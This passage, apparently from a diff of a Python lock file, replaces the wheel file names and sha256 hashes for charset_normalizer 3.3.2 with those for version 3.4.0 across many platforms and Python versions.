"sha256:1ceae2f17a9c33cb48e3263960dc5fc8005351ee19db217e9b1bb15d28c02574"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65f6f63034100ead094b8744b3b97965785388f308a64cf8d7c34f2f2e5be0c4"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753f10e867343b4511128c6ed8c82f7bec3bd026875576dfd88483c5c73b2fd8"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a78b2b446bd7c934f5dcedc588903fb2f5eec172f3d29e52a9096a43722adfc"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e537484df0d8f426ce2afb2d0f8e1c3d0b114b83f8850e5f2fbea0e797bd82ae"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:eb6904c354526e758fda7167b33005998fb68c46fbc10e013ca97f21ca5c8887"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:deb6be0ac38ece9ba87dea880e438f25ca3eddfac8b002a2ec3d9183a454e8ae"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4ab2fe47fae9e0f9dee8c04187ce5d09f48eabe611be8259444906793ab7cbce"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80402cd6ee291dcb72644d6eac93785fe2c8b9cb30893c1af5b8fdd753b9d40f"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-win32.whl", hash = "sha256:7cd13a2e3ddeed6913a65e66e94b51d80a041145a026c27e6bb76c31a853c6ab"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:663946639d296df6a2bb2aa51b60a2454ca1cb29835324c640dafb5ff2131a77"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:0b2b64d2bb6d3fb9112bafa732def486049e63de9618b5843bcdd081d8144cd8"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:ddbb2551d7e0102e7252db79ba445cdab71b26640817ab1e3e3648dad515003b"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:55086ee1064215781fff39a1af09518bc9255b50d6333f2e4c74ca09fac6a8f6"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8f4a014bc36d3c57402e2977dada34f9c12300af536839dc38c0beab8878f38a"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a10af20b82360ab00827f916a6058451b723b4e65030c5a18577c8b2de5b3389"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d756e44e94489e49571086ef83b2bb8ce311e730092d2c34ca8f7d925cb20aa"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d558489962fd4918143277a773316e56c72da56ec7aa3dc3dbbe20fdfed15b"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac7ffc7ad6d040517be39eb591cac5ff87416c2537df6ba3cba3bae290c0fed"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7ed9e526742851e8d5cc9e6cf41427dfc6068d4f5a3bb03659444b4cabf6bc26"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8bdb58ff7ba23002a4c5808d608e4e6c687175724f54a5dade5fa8c67b604e4d"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:6b3251890fff30ee142c44144871185dbe13b11bab478a88887a639655be1068"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b4a23f61ce87adf89be746c8a8974fe1c823c891d8f86eb218bb957c924bb143"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efcb3f6676480691518c177e3b465bcddf57cea040302f9f4e6e191af91174d4"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-win32.whl", hash = "sha256:d965bba47ddeec8cd560687584e88cf699fd28f192ceb452d1d7ee807c5597b7"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:96b02a3dc4381e5494fad39be677abcb5e6634bf7b4fa83a6dd3112607547001"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:95f2a5796329323b8f0512e09dbb7a1860c46a39da62ecb2324f116fa8fdc85c"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c002b4ffc0be611f0d9da932eb0f704fe2602a9a949d1f738e4c34c75b0863d5"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a981a536974bbc7a512cf44ed14938cf01030a99e9b3a06dd59578882f06f985"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3287761bc4ee9e33561a7e058c72ac0938c4f57fe49a09eae428fd88aafe7bb6"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42cb296636fcc8b0644486d15c12376cb9fa75443e00fb25de0b8602e64c1714"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0a55554a2fa0d408816b3b5cedf0045f4b8e1a6065aec45849de2d6f3f8e9786"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c083af607d2515612056a31f0a8d9e0fcb5876b7bfc0abad3ecd275bc4ebc2d5"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:87d1351268731db79e0f8e745d92493ee2841c974128ef629dc518b937d9194c"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bd8f7df7d12c2db9fab40bdd87a7c09b1530128315d047a086fa3ae3435cb3a8"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:c180f51afb394e165eafe4ac2936a14bee3eb10debc9d9e4db8958fe36afe711"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8c622a5fe39a48f78944a87d4fb8a53ee07344641b0562c540d840748571b811"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-win32.whl", hash = "sha256:db364eca23f876da6f9e16c9da0df51aa4f104a972735574842618b8c6d999d4"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:86216b5cee4b06df986d214f664305142d9c76df9b6512be2738aa72a2048f99"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:6463effa3186ea09411d50efc7d85360b38d5f09b870c48e4600f63af490e56a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6c4caeef8fa63d06bd437cd4bdcf3ffefe6738fb1b25951440d80dc7df8c03ac"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:37e55c8e51c236f95b033f6fb391d7d7970ba5fe7ff453dad675e88cf303377a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb69256e180cb6c8a894fee62b3afebae785babc1ee98b81cdf68bbca1987f33"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ae5f4161f18c61806f411a13b0310bea87f987c7d2ecdbdaad0e94eb2e404238"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2b0a0c0517616b6869869f8c581d4eb2dd83a4d79e0ebcb7d373ef9956aeb0a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45485e01ff4d3630ec0d9617310448a8702f70e9c01906b0d0118bdf9d124cf2"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb00ed941194665c332bf8e078baf037d6c35d7c4f3102ea2d4f16ca94a26dc8"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2127566c664442652f024c837091890cb1942c30937add288223dc895793f898"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a50aebfa173e157099939b17f18600f72f84eed3049e743b68ad15bd69b6bf99"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4d0d1650369165a14e14e1e47b372cfcb31d6ab44e6e33cb2d4e57265290044d"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:923c0c831b7cfcb071580d3f46c4baf50f174be571576556269530f4bbd79d04"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:06a81e93cd441c56a9b65d8e1d043daeb97a3d0856d177d5c90ba85acb3db087"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-win32.whl", hash = "sha256:6ef1d82a3af9d3eecdba2321dc1b3c238245d890843e040e41e470ffa64c3e25"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:eb8821e09e916165e160797a6c17edda0679379a4be5c716c260e836e122f54b"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c235ebd9baae02f1b77bcea61bce332cb4331dc3617d254df3323aa01ab47bd4"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b4c145409bef602a690e7cfad0a15a55c13320ff7a3ad7ca59c13bb8ba4d45d"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68d1f8a9e9e37c1223b656399be5d6b448dea850bed7d0f87a8311f1ff3dabb0"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22afcb9f253dac0696b5a4be4a1c0f8762f8239e21b99680099abd9b2b1b2269"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e27ad930a842b4c5eb8ac0016b0a54f5aebbe679340c26101df33424142c143c"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f79682fbe303db92bc2b1136016a38a42e835d932bab5b3b1bfcfbf0640e519"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b261ccdec7821281dade748d088bb6e9b69e6d15b30652b74cbbac25e280b796"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:122c7fa62b130ed55f8f285bfd56d5f4b4a5b503609d181f9ad85e55c89f4185"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d0eccceffcb53201b5bfebb52600a5fb483a20b61da9dbc885f8b103cbe7598c"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f96df6923e21816da7e0ad3fd47dd8f94b2a5ce594e00677c0013018b813458"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:7f04c839ed0b6b98b1a7501a002144b76c18fb1c1850c8b98d458ac269e26ed2"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:34d1c8da1e78d2e001f363791c98a272bb734000fcef47a491c1e3b0505657a8"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ff8fa367d09b717b2a17a052544193ad76cd49979c805768879cb63d9ca50561"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-win32.whl", hash = "sha256:aed38f6e4fb3f5d6bf81bfa990a07806be9d83cf7bacef998ab1a9bd660a581f"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b01b88d45a6fcb69667cd6d2f7a9aeb4bf53760d7fc536bf679ec94fe9f3ff3d"}, - {file = "charset_normalizer-3.3.2-py3-none-any.whl", hash = "sha256:3e4d1f6587322d2788836a99c69062fbb091331ec940e02d12d179c1d53e25fc"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4f9fc98dad6c2eaa32fc3af1417d95b5e3d08aff968df0cd320066def971f9a6"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0de7b687289d3c1b3e8660d0741874abe7888100efe14bd0f9fd7141bcbda92b"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5ed2e36c3e9b4f21dd9422f6893dec0abf2cca553af509b10cd630f878d3eb99"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40d3ff7fc90b98c637bda91c89d51264a3dcf210cade3a2c6f838c7268d7a4ca"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1110e22af8ca26b90bd6364fe4c763329b0ebf1ee213ba32b68c73de5752323d"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:86f4e8cca779080f66ff4f191a685ced73d2f72d50216f7112185dc02b90b9b7"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7f683ddc7eedd742e2889d2bfb96d69573fde1d92fcb811979cdb7165bb9c7d3"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:27623ba66c183eca01bf9ff833875b459cad267aeeb044477fedac35e19ba907"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f606a1881d2663630ea5b8ce2efe2111740df4b687bd78b34a8131baa007f79b"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0b309d1747110feb25d7ed6b01afdec269c647d382c857ef4663bbe6ad95a912"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:136815f06a3ae311fae551c3df1f998a1ebd01ddd424aa5603a4336997629e95"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:14215b71a762336254351b00ec720a8e85cada43b987da5a042e4ce3e82bd68e"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79983512b108e4a164b9c8d34de3992f76d48cadc9554c9e60b43f308988aabe"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-win32.whl", hash = "sha256:c94057af19bc953643a33581844649a7fdab902624d2eb739738a30e2b3e60fc"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:55f56e2ebd4e3bc50442fbc0888c9d8c94e4e06a933804e2af3e89e2f9c1c749"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0d99dd8ff461990f12d6e42c7347fd9ab2532fb70e9621ba520f9e8637161d7c"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c57516e58fd17d03ebe67e181a4e4e2ccab1168f8c2976c6a334d4f819fe5944"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6dba5d19c4dfab08e58d5b36304b3f92f3bd5d42c1a3fa37b5ba5cdf6dfcbcee"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf4475b82be41b07cc5e5ff94810e6a01f276e37c2d55571e3fe175e467a1a1c"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ce031db0408e487fd2775d745ce30a7cd2923667cf3b69d48d219f1d8f5ddeb6"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ff4e7cdfdb1ab5698e675ca622e72d58a6fa2a8aa58195de0c0061288e6e3ea"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3710a9751938947e6327ea9f3ea6332a09bf0ba0c09cae9cb1f250bd1f1549bc"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82357d85de703176b5587dbe6ade8ff67f9f69a41c0733cf2425378b49954de5"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47334db71978b23ebcf3c0f9f5ee98b8d65992b65c9c4f2d34c2eaf5bcaf0594"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8ce7fd6767a1cc5a92a639b391891bf1c268b03ec7e021c7d6d902285259685c"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:f1a2f519ae173b5b6a2c9d5fa3116ce16e48b3462c8b96dfdded11055e3d6365"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:63bc5c4ae26e4bc6be6469943b8253c0fd4e4186c43ad46e713ea61a0ba49129"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bcb4f8ea87d03bc51ad04add8ceaf9b0f085ac045ab4d74e73bbc2dc033f0236"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-win32.whl", hash = "sha256:9ae4ef0b3f6b41bad6366fb0ea4fc1d7ed051528e113a60fa2a65a9abb5b1d99"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cee4373f4d3ad28f1ab6290684d8e2ebdb9e7a1b74fdc39e4c211995f77bec27"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0713f3adb9d03d49d365b70b84775d0a0d18e4ab08d12bc46baa6132ba78aaf6"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:de7376c29d95d6719048c194a9cf1a1b0393fbe8488a22008610b0361d834ecf"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4a51b48f42d9358460b78725283f04bddaf44a9358197b889657deba38f329db"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b295729485b06c1a0683af02a9e42d2caa9db04a373dc38a6a58cdd1e8abddf1"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee803480535c44e7f5ad00788526da7d85525cfefaf8acf8ab9a310000be4b03"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d59d125ffbd6d552765510e3f31ed75ebac2c7470c7274195b9161a32350284"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8cda06946eac330cbe6598f77bb54e690b4ca93f593dee1568ad22b04f347c15"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:07afec21bbbbf8a5cc3651aa96b980afe2526e7f048fdfb7f1014d84acc8b6d8"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6b40e8d38afe634559e398cc32b1472f376a4099c75fe6299ae607e404c033b2"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b8dcd239c743aa2f9c22ce674a145e0a25cb1566c495928440a181ca1ccf6719"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:84450ba661fb96e9fd67629b93d2941c871ca86fc38d835d19d4225ff946a631"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:44aeb140295a2f0659e113b31cfe92c9061622cadbc9e2a2f7b8ef6b1e29ef4b"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1db4e7fefefd0f548d73e2e2e041f9df5c59e178b4c72fbac4cc6f535cfb1565"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-win32.whl", hash = "sha256:5726cf76c982532c1863fb64d8c6dd0e4c90b6ece9feb06c9f202417a31f7dd7"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:b197e7094f232959f8f20541ead1d9862ac5ebea1d58e9849c1bf979255dfac9"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:dd4eda173a9fcccb5f2e2bd2a9f423d180194b1bf17cf59e3269899235b2a114"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e9e3c4c9e1ed40ea53acf11e2a386383c3304212c965773704e4603d589343ed"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:92a7e36b000bf022ef3dbb9c46bfe2d52c047d5e3f3343f43204263c5addc250"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54b6a92d009cbe2fb11054ba694bc9e284dad30a26757b1e372a1fdddaf21920"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ffd9493de4c922f2a38c2bf62b831dcec90ac673ed1ca182fe11b4d8e9f2a64"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:35c404d74c2926d0287fbd63ed5d27eb911eb9e4a3bb2c6d294f3cfd4a9e0c23"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4796efc4faf6b53a18e3d46343535caed491776a22af773f366534056c4e1fbc"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7fdd52961feb4c96507aa649550ec2a0d527c086d284749b2f582f2d40a2e0d"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:92db3c28b5b2a273346bebb24857fda45601aef6ae1c011c0a997106581e8a88"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ab973df98fc99ab39080bfb0eb3a925181454d7c3ac8a1e695fddfae696d9e90"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4b67fdab07fdd3c10bb21edab3cbfe8cf5696f453afce75d815d9d7223fbe88b"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:aa41e526a5d4a9dfcfbab0716c7e8a1b215abd3f3df5a45cf18a12721d31cb5d"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ffc519621dce0c767e96b9c53f09c5d215578e10b02c285809f76509a3931482"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-win32.whl", hash = "sha256:f19c1585933c82098c2a520f8ec1227f20e339e33aca8fa6f956f6691b784e67"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:707b82d19e65c9bd28b81dde95249b07bf9f5b90ebe1ef17d9b57473f8a64b7b"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:dbe03226baf438ac4fda9e2d0715022fd579cb641c4cf639fa40d53b2fe6f3e2"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dd9a8bd8900e65504a305bf8ae6fa9fbc66de94178c420791d0293702fce2df7"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8831399554b92b72af5932cdbbd4ddc55c55f631bb13ff8fe4e6536a06c5c51"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a14969b8691f7998e74663b77b4c36c0337cb1df552da83d5c9004a93afdb574"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcaf7c1524c0542ee2fc82cc8ec337f7a9f7edee2532421ab200d2b920fc97cf"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:425c5f215d0eecee9a56cdb703203dda90423247421bf0d67125add85d0c4455"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:d5b054862739d276e09928de37c79ddeec42a6e1bfc55863be96a36ba22926f6"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:f3e73a4255342d4eb26ef6df01e3962e73aa29baa3124a8e824c5d3364a65748"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:2f6c34da58ea9c1a9515621f4d9ac379871a8f21168ba1b5e09d74250de5ad62"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:f09cb5a7bbe1ecae6e87901a2eb23e0256bb524a79ccc53eb0b7629fbe7677c4"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:0099d79bdfcf5c1f0c2c72f91516702ebf8b0b8ddd8905f97a8aecf49712c621"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-win32.whl", hash = "sha256:9c98230f5042f4945f957d006edccc2af1e03ed5e37ce7c373f00a5a4daa6149"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:62f60aebecfc7f4b82e3f639a7d1433a20ec32824db2199a11ad4f5e146ef5ee"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:af73657b7a68211996527dbfeffbb0864e043d270580c5aef06dc4b659a4b578"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cab5d0b79d987c67f3b9e9c53f54a61360422a5a0bc075f43cab5621d530c3b6"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9289fd5dddcf57bab41d044f1756550f9e7cf0c8e373b8cdf0ce8773dc4bd417"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b493a043635eb376e50eedf7818f2f322eabbaa974e948bd8bdd29eb7ef2a51"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9fa2566ca27d67c86569e8c85297aaf413ffab85a8960500f12ea34ff98e4c41"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8e538f46104c815be19c975572d74afb53f29650ea2025bbfaef359d2de2f7f"}, + {file = 